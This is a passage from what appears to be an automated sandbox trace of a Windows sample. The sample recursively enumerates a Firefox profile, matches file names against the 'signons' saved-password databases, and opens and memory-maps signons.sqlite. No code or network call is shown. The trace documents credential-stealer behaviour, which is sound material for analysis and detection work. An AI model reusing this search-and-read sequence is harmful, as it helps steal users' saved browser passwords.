| out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.024] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0071.024] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 0x6427e8 [0071.024] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.024] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 1 [0071.024] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.024] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.024] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 1 [0071.024] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0071.024] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0071.024] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0071.024] lstrlenA (lpString="\\") returned 1 [0071.024] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e730 [0071.024] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.024] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0071.024] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0071.024] lstrlenA (lpString="818200132aebmoouht") returned 18 [0071.025] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x626b88 [0071.025] lstrcpyA (in: lpString1=0x626b88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0071.025] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0071.025] LocalFree (hMem=0x65e730) returned 0x0 [0071.025] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0071.025] lstrlenA (lpString="\\*.*") returned 4 [0071.025] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x601890 [0071.025] lstrcpyA (in: lpString1=0x601890, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0071.025] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0071.025] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f30a | out: lpFindFileData=0x12f30a) returned 0x642828 [0071.025] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.025] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f30a | out: lpFindFileData=0x12f30a) returned 1 [0071.025] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.025] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.025] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f30a | out: lpFindFileData=0x12f30a) returned 0 [0071.025] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0071.025] LocalFree (hMem=0x601890) returned 0x0 [0071.025] LocalFree (hMem=0x626b88) returned 0x0 [0071.025] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 1 [0071.025] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.025] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0071.025] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0071.025] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.025] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.025] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 0 [0071.025] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0071.026] LocalFree (hMem=0x626a88) returned 0x0 [0071.026] LocalFree (hMem=0x65e540) returned 0x0 [0071.026] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 0 [0071.026] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0071.026] LocalFree (hMem=0x65e638) returned 0x0 [0071.026] LocalFree (hMem=0x65e448) returned 0x0 [0071.026] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0071.026] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.026] LocalFree (hMem=0x641518) returned 0x0 [0071.026] LocalFree (hMem=0x65b348) returned 0x0 [0071.026] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.026] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0071.026] lstrlenA (lpString="key3.db") returned 7 [0071.026] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0071.026] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0071.026] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0071.026] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.026] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0071.026] lstrlenA (lpString="localstore.rdf") returned 14 [0071.026] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0071.026] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0071.027] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0071.027] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.027] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0071.027] lstrlenA (lpString="marionette.log") returned 14 [0071.027] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0071.027] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0071.027] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0071.027] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.027] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0071.027] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0071.027] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0071.027] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0071.027] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0071.027] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.027] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0071.027] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0071.027] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.027] lstrlenA (lpString="\\") returned 1 [0071.027] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.027] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.027] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.027] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.027] lstrlenA (lpString="minidumps") returned 9 [0071.027] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0071.027] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.027] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0071.027] LocalFree (hMem=0x6275a8) returned 0x0 [0071.027] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0071.027] lstrlenA (lpString="\\*.*") returned 4 [0071.027] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0071.027] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0071.027] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0071.027] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0071.027] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.027] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.027] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.027] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.027] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0071.027] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.027] LocalFree (hMem=0x641518) returned 0x0 [0071.027] LocalFree (hMem=0x65b348) returned 0x0 [0071.027] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.027] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0071.027] lstrlenA (lpString="parent.lock") returned 11 [0071.027] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0071.028] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.028] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.028] lstrlenA (lpString="permissions.sqlite") returned 18 [0071.028] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.028] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.028] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.028] lstrlenA (lpString="places.sqlite") returned 13 [0071.028] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.028] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.028] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0071.028] lstrlenA (lpString="pluginreg.dat") returned 13 [0071.028] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0071.028] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.028] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0071.028] lstrlenA (lpString="prefs.js") returned 8 [0071.028] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0071.028] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.028] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0071.028] lstrlenA (lpString="search.json") returned 11 [0071.028] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0071.028] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.028] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0071.028] lstrlenA (lpString="secmod.db") returned 9 [0071.028] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0071.028] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.028] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0071.028] lstrlenA (lpString="sessionstore.bak") returned 16 [0071.028] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0071.028] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.028] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0071.028] lstrlenA (lpString="sessionstore.js") returned 15 [0071.028] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0071.028] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0071.029] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0071.029] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.029] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0071.029] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.029] lstrlenA (lpString="\\") returned 1 [0071.029] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.029] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.029] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.029] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.029] lstrlenA (lpString="signons.sqlite") returned 14 [0071.029] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x641518 [0071.029] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.029] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" [0071.029] LocalFree (hMem=0x6275a8) returned 0x0 [0071.029] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0071.029] CloseHandle (hObject=0x155) returned 1 [0071.029] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0071.029] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0071.029] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x626a88, nSize=0x5b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned 0x5a [0071.029] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0071.029] CloseHandle (hObject=0x155) returned 1 [0071.029] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0071.029] GetFileSize (in: hFile=0x155, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0071.029] CreateFileMappingA (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x158 [0071.029] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x16d0000 [0071.031] UnmapViewOfFile (lpBaseAddress=0x16d0000) returned 1 [0071.036] CloseHandle (hObject=0x158) returned 1 [0071.036] CloseHandle (hObject=0x154) returned 1 [0071.036] LocalFree (hMem=0x626a88) returned 0x0 [0071.036] LocalFree (hMem=0x641518) returned 0x0 [0071.036] lstrlenA (lpString="signons.sqlite") returned 14 [0071.036] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0071.036] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.036] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.036] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.036] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0071.036] lstrlenA (lpString="times.json") returned 10 [0071.036] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0071.036] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0071.036] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0071.036] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0071.036] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0071.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0071.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0071.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0071.036] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.036] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0071.036] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0071.036] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.037] lstrlenA (lpString="\\") returned 1 [0071.037] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.037] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.037] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.037] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.037] lstrlenA (lpString="webapps") returned 7 [0071.037] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0071.037] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: 